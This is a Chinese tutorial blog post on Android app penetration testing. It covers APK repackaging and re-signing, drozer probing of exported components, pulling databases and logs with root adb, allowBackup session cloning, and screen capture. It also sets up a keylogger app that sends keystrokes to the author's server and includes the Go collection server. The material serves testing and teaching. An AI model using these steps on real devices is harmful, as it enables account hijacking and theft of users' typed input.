app滲透測試 服務端篇
阿新 • • 發佈:2021-03-11
### 基本知識
##### 平時安裝的應用位置,裡面主要是odex可執行檔案
```
/data/app
```
##### 系統應用位置(需要root許可權),裡面主要是odex可執行檔案
```
/system/app
```
##### 應用的資料相關的位置,裡面包含一些配置,快取資訊
```
/data/data
```
#### 重打包測試測試
##### 測試流程
檢測app是否檢測簽名,如果未檢測簽名可重打包篡改app的程式碼再次釋出
首先準備2個工具,apktool.jar和signapk.jar,其次尋找簽名需要的2個證書檔案pk8和pem,可以直接生成我這裡直接拿別人編譯好的,github上隨便搜尋signapk的專案,找到的下面內容
https://github.com/sunshinelyz/mykit-android-signapk
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145730368-841007946.png)
獲取了之後先看之前app的樣子
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145747628-22012046.png)
為了明顯目的是將程式未註冊改為其他的顯示
拿到apk,使用apktool進行反編譯, `-f`為apk名稱 `-o`為生成的資料夾名稱
```
apktool d -f app-debug.apk -o app
或
java -jar apktool.jar d -f app-debug.apk -o app
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145758761-537284216.png)
此時我們當前路徑下就多了app目錄,開啟他,目錄結構如下,和使用jad和jre反編譯不同,他沒有dex檔案,而是smali檔案
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145806180-1806605472.png)
我們再smali中找到程式未註冊的字元位置,中文在smali中是以unicode編碼的形式儲存
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145812930-669945124.png)
將其修改,hijacking test
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145819775-493859342.png)
重新打包,此處`-f`引數為專案資料夾, `-o` 為生成的apk名稱
```
apktool b -f app -o test.apk
或
java -jar apktool.jar -f app -o test.apk
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145826063-1264901038.png)
此時還不夠,需要進行簽名
```
java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test-final.apk
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145832396-178715473.png)
生成我們最終的test-final.apk
但是在安裝時,會出現與已安裝的應用簽名不同,但這並不是說明程式進行了簽名校驗,只是安卓系統進行了版本更新的對比
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145837090-1775827462.png)
將之前的程式刪掉
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145842624-2038201252.png)
再次安裝成功
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145850827-357942793.png)
開啟也成功修改了指定文字
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145856514-1830404760.png)
##### 防禦方式
使用Native層程式碼驗證程式碼的完整性,或者加殼
#### 簽名完整性測試
檢測app是否是原本,還是被第三方重新打包的
##### 測試流程
```
jarsigner -verify [apk路徑]
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311145934778-810273323.png)
顯示未簽名說明被第三方篡改重新打包了,顯示已驗證為完整的
檢測證書情況
```
jarsigner -verify -verbose -certs [apk路徑]
```
#### 可匯出元件測試
##### 測試流程
該漏洞是因為該app元件未進行嚴格許可權控制,導致任意app均可呼叫該元件導致危害
需要的工具為dorzer
匯出的元件前提為,下列滿足其一就可:
```
1.顯示宣告 android:exported="true"
2.未顯示宣告 android:exported="false" 元件不是 Content Provider 元件不包含
3.未顯示宣告 android:exported="false" 元件是 Content Provider api版本 < 17
```
首先選擇目標,我在酷安上隨便找了個應用
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150046788-649492053.png)
手機連線好電腦,分別啟動dorzer
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150057783-1943900088.png)
使用ls可用檢視命令,首先檢視有哪些包在執行
```
run app.package.list
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150115513-1151001472.png)
有許多結果可以通過`-f`引數進行過濾,這裡檢視目標app的包名可以通過手機中 設定->更多應用->對應app->應用資訊裡面有應用包名
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150122087-40428486.png)
```
run app.package.list -f xxs
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150127029-734422160.png)
檢視包資訊
```
run app.package.info -a com.xxs.leon.xxs
```
檢視可攻擊元件資訊
```
run app.package.attacksurface com.xxs.leon.xxs
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150133115-1826375705.png)
檢視對應元件資訊
```
run app.activity.info -a com.xxs.leon.xxs #檢視activity元件
run app.broadcast.info -a com.xxs.leon.xxs #檢視broadcast元件
run app.provider.info -a com.xxs.leon.xxs #檢視provider元件
run app.service.info -a com.xxs.leon.xxs #檢視service元件
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150139363-793865004.png)
那麼接下來可以直接呼叫對應元件,實現繞過app本身邏輯直接請求元件,一般用於繞過登入之類的漏洞
實體機如果不靈光可以重啟解決
```
run app.activity.start --component com.xxs.leon.xxs com.xxs.leon.xxs.ui.activity.WebActivity
```
廣播模組攻擊
```
run app.broadcast.send --action [元件路徑] --extra string [輸出的變數] [更改的值]
```
因為小小書app不太典型,因此使用dorzer官網自帶的測試漏洞app
https://labs.f-secure.com/tools/drozer/
整個程式功能大致為輸入密碼後輸出資訊
啟動server服務
```
run app.service.start --action com.mwr.example.sieve(包名) --component com.mwr.example.sieve(包名) com.mwr.example.sieve.AuthService(元件名)
```
檢視ContentProvider並找到url路徑`-a`後接包名
```
run scanner.provider.finduris -a com.mwr.example.sieve
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150151204-1634554392.png)
provider 元件可能存在客戶端的sql注入和目錄遍歷的問題
```
#sql注入
run scanner.provider.injection -a com.mwr.example.sieve
#目錄遍歷
run scanner.provider.traversal -a com.mwr.example.sieve
```
#### 敏感檔案洩露
一般敏感的檔案有sqlite的資料庫檔案,xml檔案,logcat日誌內容
使用root許可權的adb,前往程式app的資料夾下(路徑可通過drozer去檢視)
```
adb root
adb shell
cd xxx/xxx/xxx
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150157735-147038412.png)
sqlite檔案一般在databases下面
可以看到存在database.db的檔案,可以通過find命令去查詢
```
find /data/user/0/com.mwr.example.sieve -name *.db
```
回到pc的命令列,使用adb pull命令將db拷貝出來
```
adb pull /data/user/0/com.mwr.example.sieve/databases/database.db
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150204956-309001129.png)
用工具開啟sqlite資料庫檔案
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150209157-969839897.png)
xml配置檔案一般在shared_prefs下面
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150214091-1680390220.png)
將其拷貝出來
```
adb pull /data/user/0/com.xxs.leon.xxs/shared_prefs
```
比如小小書的公告內容寫在了配置中(這裡應該是通過網路傳輸更新配置檔案的)
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150220432-895169416.png)
Logcat 日誌匯出
```
adb shell logcat -d > 1.txt
```
使用檔案編輯器全域性搜尋翻閱
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150227274-1072507935.png)
#### 靜態資源備份打包
AllowBackup屬性設定為true,則存在備份打包漏洞,使用原理如手機A某app登入了賬號,該app的AllowBackup屬性設定為true,此時在手機A上打包該app並匯出,將匯出的apk重新放入手機B中,手機B預設登入手機A中的賬號
```
#連線手機A
adb kill-server
adb backup -nosystem -noshared -apk -f com.xxs.leon.xxs.ab com.xxs.leon.xxs
#連線手機B
adb kill-server
adb devices
adb restore com.xxs.leon.xxs.ab
```
準備手機A
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150240604-312711241.png)
手機B未登入
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150247358-1352814127.png)
把小小書進行備份,並且將備份寫入手機B
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150253050-2081464944.png)
成功登陸
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150259974-2118703263.png)
#### 鍵盤記錄漏洞
github專案
https://github.com/bshu2/Android-Keylogger
需要自己編譯apk,自己編譯時將apk的url路徑改為自己的公網伺服器地址
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150308122-90252601.png)
之後在伺服器上啟動server.go服務,這裡需要改動下,將init內容寫到main函式中,並且將包改為package main,埠號與apk中的修改的url地址相對應即可
```
package main
import (
"io/ioutil"
"fmt"
"strings"
"net/http"
)
var entries = []string{}
func init() {
http.HandleFunc("/", handler)
http.ListenAndServe(":5001", nil)
}
func handler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "GET":
//serve the resource
fmt.Fprintf(w, "
")
case "POST":
//add entry
body, err := ioutil.ReadAll(r.Body)
if err != nil {
fmt.Fprintf(w, err.Error())
}
entry := strings.SplitN(string(body), "|", 3)
new_entry := fmt.Sprintf("%s %s %s ", entry[0], entry[1], entry[2])
entries = append(entries, new_entry)
if len(entries) > 100 {
entries = entries[1:]
}
fmt.Fprintf(w, "POST\n")
default:
//do nothing
}
}
func main(){
http.HandleFunc("/", handler)
http.ListenAndServe(":5001", nil)
}
```
啟動server
```
go run server.go
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150321274-865761631.png)
手機上啟動app需要root許可權,將app掛到後臺
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150326918-205229794.png)
輸入的記錄,將傳送到go語言啟動的web伺服器
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150332469-1632685032.png)
以上操作需要root許可權,並且很變態在於自定義鍵盤也可以獲取輸入內容
不需要root許可權可使用專門記錄鍵盤的app,相當於安裝記錄輸入內容的輸入法app,在測試物件沒有使用自定義軟鍵盤的情況下,呼叫該輸入法app,則會存在輸入內容被竊取記錄的風險
#### 螢幕擷取漏洞
```
adb shell /system/bin/screencap -p /data/1.png
從手機放入電腦
adb pull /data/1.png
```
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150340532-1749189990.png)
![](https://img2020.cnblogs.com/blog/1419450/202103/1419450-20210311150346192-1741950314.png)
Timestamp | Action | Data |
---|